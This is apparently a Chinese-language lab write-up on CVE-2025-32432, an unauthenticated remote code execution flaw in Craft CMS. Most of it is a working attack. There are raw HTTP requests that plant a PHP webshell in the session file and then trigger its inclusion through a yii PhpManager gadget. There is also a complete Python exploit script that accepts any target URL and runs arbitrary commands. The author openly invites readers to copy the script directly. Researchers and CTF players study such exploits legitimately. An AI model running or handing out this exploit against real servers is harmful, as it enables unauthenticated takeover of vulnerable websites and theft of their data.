一、靶场介绍
Craft CMS是一款灵活易用的内容管理系统 ,可用于在网页及其他平台上打造定制化的管理。Craft CMS从 3.0.0-RC1 版本到 3.9.15 之前的版本、4.0.0-RC1 版本到 4.14.15 之前的版本以及 5.0.0-RC1 版本到 5.6.17 之前的版本都存在远程代码执行漏洞,攻击者可通过特定的POST请求在未经身份验证的情况下执行任意代码,获取服务器权限。

直接写步骤了,如果想要学习原理请查看这三个参考文章,如果想直接出答案,直接复制最后的Python脚本
感谢以下文章对我的帮助:
https://www.lwd3699.com/anquan/3030.html
https://blog.csdn.net/eason612/article/details/158460214
https://mp.weixin.qq.com/s/XYa1tGzjrygloWekbToFSw——徐来
引用掌控安全学院 - 徐来. 的三段话,作为安服路上的指引:
在网络安全学习中,技术文章是入门的阶梯,却也常是进阶的“陷阱”——多数文章循着“漏洞背景-利用代码-复现步骤”的模板复制粘贴,看似详尽,实则跳过了漏洞成因的核心解析与攻防逻辑的深层思考。真正的技能提升,从来不是“照着葫芦画瓢”地走完流程,而是以文章为线索,亲手拆解漏洞、复现攻击、研判防御,在实战中把“别人的经验”变成“自己的能力”。CVE-2025-32432的学习过程,正是这一逻辑的最佳印证。
直接运行文章中的POC确实成功执行了phpinfo,但在后利用中,POC失效——只能执行无参函数,此时我没有再查文章,尝试分析代码,对该漏洞有了新的认识。这个过程中,我不仅复现了漏洞,更通过“制造问题-解决问题”的研判,延伸出两种新的利用思路。而如果一直依赖文章的“标准答案”,永远不会知道“原POC失效时该怎么办”,更不会掌握漏洞的“变通利用”能力。
回顾CVE-2025-32432的学习过程,从“照着文章跑POC”到“拆解代码找核心”,再到“多环境复现研判”,我最深的体会是:技术文章只是“引子”,它能告诉你“有这个漏洞”,却无法教会你“怎么看透漏洞”“怎么应对变化”。网络安全的对抗本质,决定了“千篇一律”的经验毫无价值——攻击者不会按文章的步骤发起攻击,防御者也不能靠“抄来的配置”抵御风险。真正的技能提升,藏在每一次“放下文章,打开编译器”的实践里:拆解一行行代码,验证一个个猜想,解决一个个“文章没讲过”的问题。唯有如此,才能从“跟着学”的新手,变成“能独立研判”的从业者——这便是CVE-2025-32432教给我的,比漏洞本身更重要的学习逻辑。
二、POC
直接写步骤了,如果想要学习原理请查看上面三个参考文章,如果想直接出答案,直接复制最后的Python脚本
第一步获取写入websell
写入webshell 获取CraftSessionId值

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
第二步获取CRAFT_CSRF_TOKEN值
将第一步 获得的CraftSessionId值写到cookie中 获取CRAFT_CSRF_TOKEN值

同时搜索 csrfTokenValue 获取其数值

GET /admin/login HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: CraftSessionId=d6fc4482987fd74fe1a9ddcf6cab7d40
第三步执行命令

将所有获取的数值进行拼接,注意 itemFile的后面值为CraftSessionId。
POST /index.php?p=actions/assets/generate-transform&cmd=cat+/flag HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-CSRF-Token: GM1az2vUuafaLj6-e1vNwnf3J1o3PNO4PzXFGsaz5fpdGuXNQmURpHqMF5pS5f2Unh1J-hBru_Umo1cARWi1-gpXrUOR8b-yLjfIlDdXaZ0=
Cookie: CRAFT_CSRF_TOKEN=ce2a38cdca05ac9b1d525070d2e97ade9e46a2f16ac729a10fa474e24ee92271a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22bAMU91D3D3wDk0v7QTpZrTfB5bhYWBZHs--Yu2x9%22%3B%7D;CraftSessionId=d6fc4482987fd74fe1a9ddcf6cab7d40
Content-Length: 229
Content-Type: application/json
{"assetId": 0, "handle": {"width": 1, "height": 1, "as hack": {"class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [{"itemFile": "/tmp/sess_d6fc4482987fd74fe1a9ddcf6cab7d40"}]}}}
这个地方也可以直接读取文件,将文件名修改成flag

利用脚本
python exp.py -u http://127.0.0.1/ -c “cat /flag”
# poc.py
#!/usr/bin/env python3
"""
CVE-2025-32432 Two-Packet Chain PoC
This script exploits the unauthenticated RCE vulnerability in CraftCMS by:
1. Injecting PHP code into the session file via a GET request
2. Triggering code execution by abusing yii\\rbac\\PhpManager to include the session file
usage: poc.py [-h] -u URL -c CMD [--need-asset-id] [-a ASSET_ID] [-s SCAN_MAX]
CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://target:8088)
-c CMD, --cmd CMD Command to execute
--need-asset-id Need specify assetId manually or scan automatically
-a ASSET_ID, --asset-id ASSET_ID
Known valid assetId (optional)
-s SCAN_MAX, --scan-max SCAN_MAX
Maximum assetId to scan (default: 300)
"""
import re
import sys
import argparse
import urllib.parse
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Patch urllib3 to prevent automatic URL encoding (preserve <?=...?>)
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url)
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = \
urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
def scan_asset_id(sess: requests.Session, base: str, max_id: int = 300) -> int:
"""Scan for a valid assetId by checking response status codes."""
api = f"{base}/index.php?p=admin/actions/assets/generate-transform"
print(f"[*] Scanning for valid assetId (max: {max_id})...")
for aid in range(1, max_id + 1):
r = sess.post(
api,
json={"assetId": aid, "handle": {"width": 1, "height": 1}},
verify=False,
allow_redirects=False,
)
if r.status_code in (200, 302):
print(f"[+] Found valid assetId = {aid}")
return aid
raise RuntimeError("[-] No valid assetId found. Try increasing --scan-max or specify manually with --asset-id")
def inject_payload(sess: requests.Session, base: str, php_code: str) -> tuple:
"""
First packet: Inject PHP code into the session via GET request.
Returns the CSRF token and Session ID.
"""
print(f"[*] Injecting PHP payload into session...")
payload_url = f"{base}/index.php"
params = {
"p": "admin/dashboard",
"cve202532432": php_code # PHP code passed directly without URL encoding
}
r = sess.get(payload_url, params=params, verify=False, allow_redirects=True)
if r.status_code != 200:
print(f"[!] Warning: Inject request returned status {r.status_code}")
# Extract CSRF token from response
match = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)', r.text)
if not match:
raise RuntimeError("[-] Failed to extract CSRF token from response")
csrf_token = match.group(1)
# Get session ID from cookies
session_id = sess.cookies.get("CraftSessionId")
if not session_id:
raise RuntimeError("[-] Failed to get CraftSessionId from cookies")
print(f"[+] CSRF Token: {csrf_token}")
print(f"[+] Session ID: {session_id}")
return csrf_token, session_id
def trigger_rce(sess: requests.Session, base: str, asset_id: int,
session_id: str, csrf_token: str, cmd: str) -> str:
"""
Second packet: Trigger RCE by exploiting yii\\rbac\\PhpManager to include the session file.
"""
print(f"[*] Triggering RCE via PhpManager session inclusion...")
api = f"{base}/index.php"
params = {
"p": "actions/assets/generate-transform",
"cmd": cmd
}
# Construct the malicious payload using Yii's dependency injection
body = {
"assetId": asset_id,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [{
"itemFile": f"/tmp/sess_{session_id}"
}]
}
}
}
r = sess.post(
api,
params=params,
json=body,
headers={"X-CSRF-Token": csrf_token},
verify=False,
)
if r.status_code not in (200, 500):
raise RuntimeError(f"[-] RCE trigger failed with HTTP {r.status_code}")
return r.text
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC"
)
parser.add_argument(
"-u", "--url",
required=True,
help="Target URL (e.g., http://target:8088)"
)
parser.add_argument(
"-c", "--cmd",
required=True,
help="Command to execute"
)
parser.add_argument(
"--need-asset-id",
action="store_true",
default=False,
help="Need specify assetId manually or scan automatically"
)
parser.add_argument(
"-a", "--asset-id",
type=int,
help="Known valid assetId (optional)"
)
parser.add_argument(
"-s", "--scan-max",
type=int,
default=300,
help="Maximum assetId to scan (default: 300)"
)
args = parser.parse_args()
sess = requests.Session()
base = args.url.rstrip("/")
print(f"[*] Target: {base}")
asset_id = 0
if args.need_asset_id:
asset_id = args.asset_id if args.asset_id is not None else scan_asset_id(sess, base, args.scan_max)
# Step 2: Inject PHP payload into session
php_code = r"<?=shell_exec($_GET['cmd']);exit;?>"
print(f"[+] PHP Payload: {php_code}")
csrf_token, session_id = inject_payload(sess, base, php_code)
# Step 3: Trigger RCE
print(f"[*] Executing command: {args.cmd}")
output = trigger_rce(sess, base, asset_id, session_id, csrf_token, args.cmd)
try:
# Extract and display output
print(f"[+] Command output:")
print("-" * 50)
print(output[output.index('cve202532432=')+13:])
print("-" * 50)
except ValueError as e:
print(f"[!] Error: Unable to extract command output")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted by user")
sys.exit(130)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
sys.exit(1)

三、总结
到目前为止,我还是照着文章跑POC,最后得出了flag,我觉得这也是一种失败,但却无可奈何,因为实在是无法理解,为什么这样就可以,我也曾看了代码,看了POC,想着可以使用其他方法getshell,可最终还是无法理解漏洞的本质。只是一味的抄袭,我对我自己说了放弃。

458

被折叠的 条评论
为什么被折叠?



